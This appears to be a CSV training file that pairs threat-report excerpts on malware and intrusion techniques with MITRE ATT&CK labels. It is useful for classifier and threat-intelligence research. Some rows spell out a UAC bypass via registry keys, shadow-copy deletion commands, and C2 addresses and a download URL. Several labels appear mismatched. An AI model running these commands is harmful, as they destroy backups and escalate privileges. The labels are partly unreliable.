"To execute the main downloaded payload, the loader tries to masquerade as a legitimate Windows service, claiming in its fake description, that it is used to support packed applications",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"Prior to downloading secondary payloads, CSPY Downloader initiates an extensive series of checks to determine if it is being debugged or running in a virtual environment, by searching for specific virtualization-related loaded modules, the process PEB structure, various file paths, registry keys, and memory",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"When executed, the malware first establishes a SOCKS5 connection to 192.157.198.103 using TCP port 1913. The malware sends the SOCKS5 connection request ""05 01 00"" and verifies the server response starts with ""05 00"". The malware then requests a connection to 192.184.60.229 on TCP port 81 using the command ""05 01 00 01 c0 b8 3c e5 00 51"" and verifies that the first two bytes from the server are ""05 00"" (c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order",['T1104 - Multi-Stage Channels'],fine_tune
"PIONEER KITTEN’s namesake operational characteristic is its reliance on SSH tunneling, through open-source tools such as Ngrok and the adversary’s custom tool SSHMinion, for communication with implants and hands-on-keyboard activity via Remote Desktop Protocol (RDP",['T1572 - Protocol Tunneling'],fine_tune
This is likely to make it appear as if nothing is amiss to the user (as high CPU usage is a red flag of cryptocurrency-mining malware,['T1014 - Rootkit'],fine_tune
The VBShower backdoor has the same philosophy of the validator version of PowerShower. Its aim is to complicate forensic analysis by trying to delete all the files contained in “%APPDATA%\..\Local\Temporary Internet Files\Content.Word” and “%APPDATA%\..\Local Settings\Temporary Internet Files\Content.Word,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The VBScript in turn runs rundll32.exe, activating the Cobalt Strike DLL (step #5) using a clean parent/child process tree completely disconnected from the SolarWinds process. Finally, the VBScript removes the previously created IFEO value to clean up any traces of execution (step #6) and also deletes the following registry keys related to HTTP proxy","['T1070 - Indicator Removal on Host', 'T1112 - Modify Registry']",fine_tune
"The threat actor also attempted to use OWA account credentials likely acquired during an earlier phase of the intrusion. BRONZE UNION appeared to leverage other compromised infrastructure, presumably to make reentry attempts seem legitimate. This attempt illustrates the importance of thorough planning when conducting an eviction and the need for continuous vigilance for evidence of reentry",['T1133 - External Remote Services'],fine_tune
"Next, the loader checks that it’s not running in a virtualized environment (VMWare or Hyper-V) or under a debugger. For the hardware virtualization check, the loader obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"If the bot is running as admin on Windows XP or 7, persistence is established using application shimming [1]. It uses a method very similar to the one described by FireEye in their blog post “To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence” [3]. A shim database (SDB) is created (Figure 13) to patch services[.]exe with the loader code and then installed with sdbinst[.]exe",['T1546.011 - Event Triggered Execution: Application Shimming'],fine_tune
"To suppress the User Access Control (UAC) prompt that normally occurs during privilege elevation, the malware uses a UAC bypass technique first documented in August 2016. This bypass requires temporarily setting either the registry key HKCU\Software\Classes\ms-settings\shell\open\command on Windows 10, or the registry key HKCU\Software\Classes\mscfile\shell\open\command on Windows 7 to execute the malware. Once the registry key is set, the malware launches the Windows event viewer process eventvwr.msc, which will inadvertently launch the malware set in the registry keys with elevated privileges",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"Malicious actors commonly maintain persistence on a victim’s system by installing the malware-as-a-service. Volgmer queries the system and randomly selects a service in which to install a copy of itself. The malware then overwrites the ServiceDLL entry in the selected service's registry entry. In some cases, HIDDEN COBRA actors give the created service a pseudo-random name that may be composed of various hardcoded words",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files",['T1027 - Obfuscated Files or Information'],fine_tune
"The C2 server address is not embedded directly inside Tomiris: instead, it connects to a signalization server that provides the URL and port to which the backdoor should connect. Then Tomiris sends GET requests to that URL until the C2 server responds with a JSON object of the following structure",['T1568 - Dynamic Resolution'],fine_tune
"First, it captures the desktop window and sets the background color to black. It then writes ""All your files are encrypted. For more information see “README-FOR-DECRYPT.txt"" with DrawText API to a bitmap image and saves it as ""encr.bmp"" in the public pictures folder. Finally, it changes the desktop wallpaper to the new image using the SystemParametersInfoAPI with the SPI_SETDESKWALLPAPER flag",['T1491.001 - Defacement: Internal Defacement'],fine_tune
"FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads. Finally, FIN7 has leveraged several new techniques that we have not observed in other CARBANAK related activity",['T1553.002 - Code Signing'],fine_tune
"This code invokes time twice, with a sleep in between …then compares if the differences between the two calls to time match the amount of time that was system slept for. To detect sandboxes that patch (speedup) calls to sleep",['T1497.003 - Time Based Evasion'],fine_tune
"At the beginning of October 2021, Proofpoint researchers identified public samples of Gamaredon RTF template injection documents which impersonated the Ukrainian Ministry of Defense. This tactic is consistent with reporting on this APT group that links Gamaredon to the Russian FSB operating in the Republic of Crimea and the city of Sevastopol. The files communicate with the domain pretence77.glorious[.]nonima[.]ru which also was a remote template delivery URL used by several Microsoft Office Word documents that impersonated Ukrainian government organizations. These Office files communicate with actor infrastructure using a URI pattern previously observed among Gamaredon malicious Microsoft Office phishing documents. Specifically, the Microsoft Office documents used remote template injection to retrieve malicious payload files using URIs with the directory “/ELENAPC/principles/” on several occasions. Additionally, in several instances the resources retrieved delivered an MP3 file as a delivery resource",['T1221 - Template Injection'],fine_tune
"The main C2 loop starts after the initial upload of the reconnaissance data, iterating once every approximately 30 seconds. For the first five minutes, each iteration will capture a screenshot of the display and upload it to the ""normal"" subdirectory with an encoded timestamp as the filename. After the first five minutes, the screenshot uploads once every five minutes",['T1113 - Screen Capture'],fine_tune
"Since the FoggyWeb loader version.dll is an unmanaged application, it cannot directly access the virtual runtime environment that the managed AD FS code is executed within. The loader overcomes this limitation and loads the backdoor alongside the AD FS code by leveraging the CLR hosting interfaces and APIs to access the virtual runtime environment within which the AD FS code is executed",['T1106 - Native API'],fine_tune
The instrumentor script also performs a cleanup of the cookies for Google Chrome and Microsoft Edge browsers. This activity is performed after the implants are in place to force users to reauthenticate. This is done by simply terminating any browser processes running on the system and then deleting the cookie files on disk,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"If the bot is running with admin privileges on a Windows version newer than Windows 7, persistence is established using the registry “image file execution options” method",['T1546.012 - Event Triggered Execution: Image File Execution Options Injection'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. RarStar HTTP POST request. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. When exfiltration is complete, the uploader (or Datper or xxmm) immediately uses the del command to delete the RAR archives. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1573.001 - Symmetric Cryptography'],fine_tune
An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the malicious code once they are opened. This allows the attacker to have control over what content is sent back to the victim in an otherwise benign document. Recent examples of the remote template “dot” file URLs these documents use include the following,['T1221 - Template Injection'],fine_tune
"These anti-forensic recovery commands are quite interesting and appear to make use of an undocumented feature of the vssadmin resize command. While the first command in Figure 2 above, vssadmin Delete Shadows /all /quiet, is commonly used by ransomware, the command option vssadmin resize shadowstorage is rarely used. In situations where shadow copies were not created by vssadmin, but by third-party applications (such as backup software), vssadmin can display an error and not delete the backups. Try removing them with the backup application which created them. The vssadmin resize shadowstorage command is a “hack” that relies on vssadmin to delete storage when the shadow copies are resized. It forces the shadow copies to be deleted regardless of their context. The command works by resizing the default shadow volume size from 10 percent to 401 MB (the minimum size is 300 MB). Then the shadow storage is set to unbounded, which allows it to use all available disk space. The shadow copies are then deleted by calling the command vssadmin Delete Shadows /all /quiet a second time",['T1490 - Inhibit System Recovery'],fine_tune
"After initialization, SUNSPOT monitors running processes for instances of MsBuild.exe, which is part of Microsoft Visual Studio development tools. Copies of MsBuild.exe are identified by hashing the name of each running process and comparing it to the corresponding value, 0x53D525. The hashing algorithm used for the comparison is ElfHash and is provided in Python in Figure 1",['T1057 - Process Discovery'],fine_tune
"The “WmiApCom.bat” file is simply used to start “WmiApCom”, which happens to be the exact same file as the one dropped by the malicious Word documents. However, this is most likely meant to be a mechanism to update the compromised host with a new version of the LOWBALL malware",['T1105 - Ingress Tool Transfer'],fine_tune
"Although it has only recently been launched, IcedID already uses redirection attacks. The redirection scheme IcedID uses is not a simple handover to another website with a different URL. Rather, it is designed to appear as seamless as possible to the victim. These tactics include displaying the legitimate bank’s URL in the address bar and the bank’s correct SSL certificate, which is made possible by keeping a live connection with the actual bank’s site",['T1185 - Browser Session Hijacking'],fine_tune
"TG-3390 uses DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL. CTU researchers have observed the threat actors employing legitimate Kaspersky antivirus variants in analyzed samples. The DLL acts as a stub loader, which loads and executes the shell code. The adversaries have used this technique to allow PlugX and HttpBrowser to persist on a system",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"messengers. Figures 9 and 10 show FakeM attempting to resemble MSN or Yahoo. Messenger traffic, as the first 32-bytes contain data that resemble legitimate traffic generated by these chat programs",['T1001.003 - Protocol or Service Impersonation'],fine_tune
"At execution, it installs an application-defined Windows hook. The hook gets windows messages indicating when a network drive has been attached. Upon adding a network drive, the hook calls its “RecordToFile” file stealer method",['T1056.004 - Input Capture: Credential API Hooking'],fine_tune
"The first way in which the malware can be launched is by hijacking a DLL. Being placed in the same folder as explorer.exe, the wrapper DLL is loaded during the Windows startup into the Windows Explorer process instead of the legitimate library located in the %windir%\system32 folder",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"proxy-servers, web-servers, or software update servers. After that, these intermediary servers are used by ProjectSauron as internal proxy nodes for silent and inconspicuous data exfiltration, blending in with high volumes of legitimate traffic",['T1090.001 - Proxy: Internal Proxy'],fine_tune
"As mentioned in the Hermes to Ryuk section, Ryuk uses a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Without the private key provided by WIZARD SPIDER, the files cannot be decrypted and are unrecoverable. A thread is created for the encryption of each file and each file is encrypted with its own AES key. After the file has been encrypted, a file extension of .RYK is appended to the file. All directories will have a ransom note of (RyukReadMe.txt) written to the directory",['T1486 - Data Encrypted for Impact'],fine_tune
"The original variant of FakeM generates network beacons to its C2 server that begin with a 32-byte header that in most cases is meant to blend into network traffic generated by legitimate applications. Following this 32-byte header, the original variant of FakeM includes data encrypted using a custom encryption cipher that uses an XOR key of “YHCRA” and bit rotation between each XOR operation",['T1573.001 - Symmetric Cryptography'],fine_tune
Carbanak campaigns can also use legitimate programs and remote access software for command and control. They also employ standard non-application layer protocols for communication.,['T1095 - Non-Application Layer Protocol'],fine_tune
"After this, the Carbanak backdoor can then be used to log keystrokes and capture screenshots, steal and delete cookies, inject malicious code on sites, and monitor various traffic. For lateral movement, the malware abuses remote and system administration tools.","['T1539 - Steal Web Session Cookie', 'T1113 - Screen Capture', 'T1550.004 - Web Session Cookie', 'T1020.001 - Traffic Duplication', 'T1056.003 - Web Portal Capture']",fine_tune
"For FIN7 attack routines, data can be compressed and/or encrypted before being exfiltrated.",['T1560 - Archive Collected Data'],fine_tune
FIN7 gathers information on network shares.,['T1039 - Data from Network Shared Drive'],fine_tune
"The other infection chain involves an attached .XLS file containing an Excel formula that utilizes a PowerShell command (Figure 2) to access paste.ee, a Pastebin alternative, that accesses a second encrypted PowerShell command (Figure 3).","['T1059 - Command and Scripting Interpreter', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"In Carbanak attacks, the groups’ attacks can involve logging into services that accept remote connections and using stolen password hashes through the “pass the hash” method","['T1550.002 - Use Alternate Authentication Material: Pass the Hash', 'T1110.002 - Brute Force: Password Cracking']",fine_tune
"On the other hand, FIN7 takes advantage of Mshta, a utility that can execute VBScript, and scheduled tasks to run malicious code on user systems.","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1053 - Scheduled Task/Job', 'T1218.005 - Signed Binary Proxy Execution: Mshta']",fine_tune
"In both Carbanak and FIN7 attacks, communication with users’ compromised systems is done through bypassing firewalls or network detection systems via commonly used ports, using connection proxies to avoid direct connections to the threat group’s infrastructure, employing the command-and-control channel to remotely copy files from an external system, blending in with existing network traffic by using standard application layer protocol, and taking advantage of standard cryptographic protocol to disguise command-and-control traffic.",['T1090 - Proxy'],fine_tune
"Panda Stealer is deployed through spam emails posing as business quote requests to lure unwary victims into opening malicious Excel files. We have identified two infection chains: in one, an .XLSM attachment contains macros that download a loader (Figure 1). Then, the loader downloads and executes the main stealer. ","['T1598.002 - Spearphishing Attachment', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1137.001 - Office Application Startup: Office Template Macros.']",fine_tune
FIN7 attacks can and inject code into processes and hijack the search order used to load DLL files.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
Decoding these PowerShell scripts revealed that they are used to access paste.ee URLs for easy implementation of fileless payloads. The CallByName export function in Visual Basic is used to call the load of a .NET assembly within memory from a paste.ee URL.,"['T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Carbanak also collects information on accounts, files and directories, group permissions, and registries.",['T1083 - File and Directory Discovery'],fine_tune
FIN7 utilizes guardrails to restrict execution and abused utilities that allow indirect command execution that can go past security restrictions,['T1480 - Execution Guardrails'],fine_tune
"After moving through the network and identifying assets to target, the next step would be to gather key data. At the collection phase, Carbanak and FIN7 campaigns harvest data from local system sources and through input and screen capture (as performed in a related campaign using the Tirion malware).","['T1113 - Screen Capture', 'T1056 - Input Capture']",fine_tune
They also add programs to a startup folder that can be referenced with a registry run key. We detected a variant of the Carbanak malware that adds registry entries and keys as an autostart technique. Credentials of existing valid accounts were also abused.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Cobalt Strike was also used to continuously communicate with the main command-and-control (C&C) server.,"['T1587.001 - Malware', 'T1583.004 - Server']",fine_tune
"This example of BazarLoader generated command and control (C2) activity, retrieving BazarBackdoor using HTTPS traffic from 104.248.174[.]225 over TCP port 443.",['T1043 - Commonly Used Port'],fine_tune
"Use the latest attack patterns, Kubernetes (K8s) or Docker API targeting, which were featured in two reports focusing on TeamTNT operations, Black-T: New Cryptojacking Variant from TeamTNT and Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes.",['T1588.002 - Tool'],fine_tune
"The attacker then executed a persistent malicious PowerShell code that was used to download and execute another PowerShell backdoor file in the server from the malicious IP address 185[.]82[.]219[.]201, as shown in Figure 7.","['T1590.005 - IP Addresses', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1027.003 - Steganography', 'T1216 - Signed Script Proxy Execution', 'T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",fine_tune
The PowerShell command executed after the Microsoft Exchange exploitation is responsible for downloading and executing another PowerShell script from the command-and-control (C&C) server 185[.]82[.]219[.]201,"['T1059 - Command and Scripting Interpreter', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1064 - Scripting', 'T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
"This PowerShell backdoor was observed to be related to the SystemBC malware as a service. The script has a hard coded C&C server IP address and port number to connect to, with data passed to the “Rc4_crypt” function before connection.",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"In our case study, approximately two minutes after Cobalt Strike activity started, a tool to enumerate an AD environment appeared on the infected host at C:\ProgramData\AdFind.exe.","['T1588.002 - Tool', 'T1595 - Active Scanning']",fine_tune
Our analysis shows that the Crimson RAT malware is compiled as a .NET binary with minimal obfuscation. This could indicate that the cybercriminal group behind this campaign is possibly not well-funded.,"['T1140 - Deobfuscate/Decode Files or Information', 'T1001 - Data Obfuscation', 'T1588.001 - Malware', 'T1587.001 - Malware']",fine_tune
Earth Karkaddan actors are known to use the Crimson RAT malware in its campaigns to communicate with its command-and-control (C&C) server to download other malware or exfiltrate data.,"['T1588.001 - Malware', 'T1587.001 - Malware', 'T1583.004 - Server']",fine_tune
"After downloading and executing these files, one of the child processes created other files and the executable setup.exe/setup-installv1.3.exe, which was extracted from 320yea_Teamviewer_15206.zip via WinRAR.exe. This file seems to be the source of most of the downloaded malicious files, as seen in the following figure.",['T1204.002 - User Execution: Malicious File'],fine_tune
The BazarLoader DLL was immediately copied to another location and made persistent through the Windows registry,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1112 - Modify Registry', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
"These infections provide backdoor access that criminals use to determine whether the host is part of an Active Directory (AD) environment. If so, criminals deploy Cobalt Strike and perform reconnaissance to map the network","['T1595 - Active Scanning', 'T1592 - Gather Victim Host Information']",fine_tune
"The malicious Excel spreadsheet was discovered on Wednesday, Aug. 18, 2021, and it has a last modified date of Tuesday, Aug. 17. The filename had an .xlsb file extension. This file has macros designed to infect a vulnerable Windows host with BazarLoader. Figure 2 shows a screenshot of the Excel file.","['T1137.001 - Office Application Startup: Office Template Macros.', 'T1587.001 - Malware', 'T1588.001 - Malware']",fine_tune
"Once the executable file is executed, it will proceed to unzip a file named mdkhm.zip and then execute a Crimson RAT executable named dlrarhsiva.exe.",['T1588.001 - Malware'],fine_tune
BazarLoader is Windows-based malware spread through various methods involving email,"['T1588.001 - Malware', 'T1587.001 - Malware', 'T1566.002 - Phishing: Spearphishing Link', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1534 - Internal Spearphishing', 'T1598.002 - Spearphishing Attachment', 'T1566 - Phishing']",fine_tune
"The loaded module is a simple dropper. Upon loading the module, the AutoOpen method will be invoked. The malicious code in this method drops the final payload executable into %AppData%\service.exe and executes it (see Figure 6)","['T1574.005 - Executable Installer File Permissions Weakness', 'T1574 - Hijack Execution Flow', 'T1569.002 - System Services: Service Execution', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
The spreadsheet’s macro code retrieved a malicious Dynamic Link Library (DLL) file for BazarLoader from the following URL,['T1204.001 - Malicious Link'],fine_tune
 this Excel template was created by a threat actor trying to instill confidence by taking advantage of the DocuSign brand name and image.,"['T1137.001 - Office Application Startup: Office Template Macros.', 'T1221 - Template Injection']",fine_tune
"Crimson RAT can steal credentials from browsers, collect antivirus information, capture screenshots, and list victim drives, processes, and directories. We have observed how an infected host communicates with a Crimson RAT C&C server to send exfiltrated information including PC name, operating system (OS) information, and the location of the Crimson RAT malware inside the system.","['T1592 - Gather Victim Host Information', 'T1589 - Gather Victim Identity Information', 'T1590 - Gather Victim Network Information', 'T1125 - Video Capture', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1056 - Input Capture', 'T1113 - Screen Capture', 'T1003 - OS Credential Dumping']",fine_tune
"Cobalt Strike leads to reconnaissance of an infected host’s environment. In our lab environments, this reconnaissance activity can start within a few minutes after Cobalt Strike traffic first appears.","['T1588.001 - Malware', 'T1587.001 - Malware']",fine_tune
"In this case, a Cobalt Strike DLL file was sent through Bazar C2 traffic and saved to the infected Windows host under the user’s AppData\Roaming directory",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"Cobalt Strike is an adversary simulation platform developed for penetration testers by Raphael Mudge, founder of Strategic Cyber LLC. Designed for interoperability with other platforms such as Metasploit, NMAP, and Powershell Empire, it can be run using Armitage, a graphic user interface (GUI) developed by Mudge, initially for Metasploit. Armitage and Cobalt Strike are designed around a team server that allows for the sharing of information and the ability to direct and execute well-coordinated actions.",['T1061 - Graphical User Interface'],fine_tune
"Even though network monitoring and detection capabilities do not come easy for many organizations, they can generally offer a high return on investment if implemented correctly. Malware has to contact its C2 server if it is to receive further instructions. This article will demonstrate how to detect this communication before threat actors accomplish their objectives. There are a couple of factors that we can utilize to fingerprint any suspicious traffic and subsequent infrastructure. Before we get into that part, we should first discuss what makes Cobalt Strike so versatile.","['T1102.002 - Bidirectional Communication', 'T1102.003 - One-Way Communication']",fine_tune
"Fifteen minutes after domain enumeration, we observed successful lateral movement to two endpoints on the network. Ten minutes after lateral movement, a PowerShell Cobalt Strike loader executed as a service on a server. Even though the execution was not successful, the threat actors kept trying, a total of eight times, until it finally worked. Windows Defender real-time monitoring was then disabled, the LSASS.exe process was dumped using SysInternals ProcDump, and privilege was escalated to “SYSTEM” using named pipe impersonation. ","['T1569.002 - System Services: Service Execution', 'T1068 - Exploitation for Privilege Escalation', 'T1546.013 - Event Triggered Execution: PowerShell Profile']",fine_tune
"As days go by, more of the reported ransomware attacks turn out to be related to the new Pay2Key ransomware. The attacker followed the same procedure to gain a foothold, propagate and remotely control the infection within the compromised companies.",['T1189 - Drive-by Compromise'],fine_tune
"SUGARDUMP using SMTP for C2 communication – dated to late 2021-early 2022. This variant was downloaded from a known UNC3890 C2 (URL: hxxp://128.199.6[.]246/3-Video-VLC.exe), and is a slightly more advanced version with similar credential harvesting functionality. ",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"Trickbot is the most common malware distributed by Emotet, but it is not the only one. Qakbot is another type of malware frequently dropped on Emotet-infected Windows hosts.",['T1588.001 - Malware'],fine_tune
"Essentially, the TDSS botnet kad.dll module is more or less the same as cmd.dll in terms of control function. By running nodes.dat files containing a list of IP addresses of Kad clients in addition to ktzerlrules, which contains a command to download a new nodes.dat file from cybercriminal servers, the owners of the botnet can both include their infected computers in the publicly accessible Kad network and remove them from the network. The publicly accessible Kad network contains no more than 10 TDSS infected computers. This makes replacing the ktzerules file as inefficient as possible, which prevents other cybercriminals from taking control over the botnet. The total number of TDSS infected computers on the closed network number tens of thousands.","['T1059 - Command and Scripting Interpreter', 'T1588.001 - Malware', 'T1587.001 - Malware']",fine_tune
"We can apply this same concept across other executable traits, such as BOOSTWRITE’s export DLL name (DWriteImpl.dll), to create quick and easy rules that can aid in quick discovery as seen in Figure 7.",['T1129 - Server Software Component'],fine_tune
"HenBox attempts to hide itself from the app launcher view by running the following code, passing the parameters COMPONENT_ENABLED_STATE_DISABLED (2) and DONT_KILL_APP (1) to the setComponentEnabledSetting() method.",['T1564 - Hide Artifacts'],fine_tune
"As our research technique of fingerprinting exploit writers exceeded our initial expectations, we were on the lookout for more exploits to investigate. Soon enough, we came across this blog post from Kaspersky detailing how Sodin (a.k.a Sodinokibi, or REvil), an infamous ransomware, is using a 1-Day exploit for CVE-2018-8453.","['T1588.006 - Vulnerabilities', 'T1203 - Exploitation for Client Execution', 'T1210 - Exploitation of Remote Services']",fine_tune
"The first spear phish from group “Admin@338” was sent to a foreign government in the Asian Pacific region on March 10, 2014 – just two days after the flight disappeared. The threat actors sent a spear-phishing email with an attachment titled, “Malaysian Airlines MH370.doc” (MD5: 9c43a26fe4538a373b7f5921055ddeae). Although threat actors often include some sort of “decoy content” upon successful exploitation (that is, a document representing what the recipient expected to open), in this case, the user is simply shown a blank document.","['T1566.001 - Phishing: Spearphishing Attachment', 'T1203 - Exploitation for Client Execution', 'T1566 - Phishing']",fine_tune
"However, for version 3 things are different.  This is how the report of the email_accounts_grabber module appears for Emotet version 3:","['T1129 - Server Software Component', 'T1588.001 - Malware', 'T1586.002 - Email Accounts']",fine_tune
"Skidmap, a Linux malware that we recently stumbled upon, demonstrates the increasing complexity of recent cryptocurrency-mining threats. This malware is notable because of the way it loads malicious kernel modules to keep its cryptocurrency mining operations under the radar.",['T1588.001 - Malware'],fine_tune
"APT3 (also known as UPS), the actors responsible for Operation Clandestine Fox has quietly continued to send waves of spearphishing messages over the past few months. This actor initiated their most recent campaign on November 19, 2014 targeting multiple organizations. The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113. CVE-2014-6332 was disclosed publicly on 2014-11-11 and is a Windows OLE Automation Array Remote Code Execution vulnerability. CVE-2014-4113 is a privilege escalation vulnerability that was disclosed publicly on 2014-10-14.","['T1587.004 - Exploits', 'T1566.003 - Spearphishing via Service', 'T1534 - Internal Spearphishing']",fine_tune
"In March, we discovered a targeted campaign to distribute Milum, a Trojan designed to gain remote control of devices in target organizations, some of which operate in the industrial sector. The first signs of this operation, which we have dubbed WildPressure, can be traced back to August 2019; still, the campaign remains active. The Milum samples we have seen so far do not share any code similarities with any known APT campaigns. The malware provides attackers with remote control over infected devices, allows downloading and executing commands, collecting and exfiltrating information and installing upgrades in the malware.",['T1588.001 - Malware'],fine_tune
"We did not observe the initial access for this case but assess with medium to high confidence that a malicious email campaign was used to deliver an Excel (xls) document. Following the opening of the xls document, the initial Qbot DLL loader was downloaded and saved to disk. Interestingly, the name of the DLL contained a .html extension to disguise the portable executable nature of the payload. Once executed, the Qbot process creates a scheduled task to elevate itself to system.","['T1566.001 - Phishing: Spearphishing Attachment', 'T1204.002 - User Execution: Malicious File', 'T1566.002 - Phishing: Spearphishing Link']",fine_tune
"Although there are no previously known malicious Android applications attributed to the StrongPity group, we strongly believe that the threat actor is in the process of actively developing new malicious components that can be used to target Android platforms.",['T1505 - Server Software Component'],fine_tune
"SHA256 file hashes for 119 malspam attachments, 30 extracted Redaman executable files, and 30 dropped Redaman DLL files found from September through December 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-09-thru-2018-12-file-hashes-for-Redaman-banking-malware.txt .","['T1566.001 - Phishing: Spearphishing Attachment', 'T1598.002 - Spearphishing Attachment']",fine_tune
"It’s clear from our research that the quality of the WannaCry code is poor and the developers made many mistakes, enabling many of those infected to recover encrypted data.  The way the attackers handled ransom payments limited their ability to capitalise on the spread of the worm.  Multiple attempts were made to track transactions to the bitcoin wallets used by the attackers.  Although estimates of how much money the attackers made vary, they run into tens of thousands, rather than hundreds .",['T1486 - Data Encrypted for Impact'],fine_tune
"According to our research partner in Japan, the original EvilPost attack in December 2015 arrived as a spear-phishing email with a Word document attached.","['T1566.001 - Phishing: Spearphishing Attachment', 'T1598.002 - Spearphishing Attachment']",fine_tune
"In early April, Emotet acquired a module for distribution over wireless networks (MD5: 75d65cea0a33d11a2a74c703dbd2ad99), which tried to access Wi-Fi using a dictionary attack. Its code resembled that of the Network Spreader module (bypass.exe), which had been supplemented with Wi-Fi connection capability. If the brute-force was successful, the module transmitted data about the network to C&C.",['T1588.001 - Malware'],fine_tune
"We investigated a long-running espionage campaign, dubbed A41APT, targeting multiple industries, including the Japanese manufacturing industry and its overseas bases, which has been active since March 2019. The attackers used vulnerabilities in an SSL-VPN product to deploy a multi-layered loader we dubbed Ecipekac (aka DESLoader, SigLoader and HEAVYHAND). We attribute this activity to APT10 with high confidence. Most of the discovered payloads deployed by this loader are fileless and have not been seen before. We observed SodaMaster (aka DelfsCake, dfls and DARKTOWN), P8RAT (aka GreetCake and HEAVYPOT), and FYAnti (aka DILLJUICE Stage 2) which in turn loads QuasarRAT. In November and December 2020, two public blog posts were published about this campaign. One month later, we observed new activities from the actor with an updated version of some of their implants designed to evade security products and make analysis harder for researchers. You can read more in our public report.","['T1588.001 - Malware', 'T1588.006 - Vulnerabilities']",fine_tune
"Along with the HTTP part, the binary part was also updated. The encryption remained the same, but Emotet dropped Google Protocol Buffer and switched to its own format. The compression algorithm also changed, with zlib replaced by liblzf. More details about the new protocol can be found in the Threat Intel and CERT Polska reports.",['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"In November 2018, Cisco Talos published research on an attack campaign named DNSpionage. It involved attacks using malware to compromise individual endpoints, but most interestingly described an effort to specifically hijack DNS entries of government organizations to redirect visitors to likely malicious, adversary operated systems. Both FireEye and Crowdstrike followed up with their own assessments for the DNS hijacking efforts, and described operations extending back to January 2017. No attribution to any known adversary groups was provided, other than that the target radius was primarily in the Middle East and the adversary was also likely operating out of that region. ","['T1584.002 - DNS Server', 'T1583.002 - DNS Server', 'T1496 - Resource Hijacking', 'T1189 - Drive-by Compromise']",fine_tune
"Although the targeting profile is the same as the Russian banking cluster, the TTPs are very different. In particular, the use of tooling stands out from other clusters of CARBON SPIDER activity. As with other clusters, the primary infection vector is targeted spear phishing emails that use exploits for a variety of vulnerabilities in Microsoft Office:","['T1203 - Exploitation for Client Execution', 'T1588.006 - Vulnerabilities', 'T1566 - Phishing']",fine_tune
1) Function similarity – Important functions in both BYEBY and wincore.dll have almost the same implementation. One such function is the payloads’ main thread function.,"['T1588.001 - Malware', 'T1055.003 - Thread Execution Hijacking']",fine_tune
"Another indicator of a Qakbot infection is HTTPS traffic to cdn.speedof[.]me. The domain speedof[.]me is used by a legitimate Internet speed test service. Although this is not malicious traffic, we frequently see traffic to cdn.speedof[.]me during Qakbot infections. Figure 20 shows this activity from our pcap.",['T1090.004 - Domain Fronting'],fine_tune
"Malicious use of Responder was first publicly documented on August 11, 2017 as being used by APT28, also known as Fancy Bear. The tool was used against hotel visitors to spoof NetBios resources. Victims were coerced into connecting to UDP port 137 and disclosing credentials over SMB to APT28, which the threat actor then used to gain elevated access to the network.","['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay', 'T1043 - Commonly Used Port', 'T1021.002 - Remote Services: SMB/Windows Admin Shares']",fine_tune
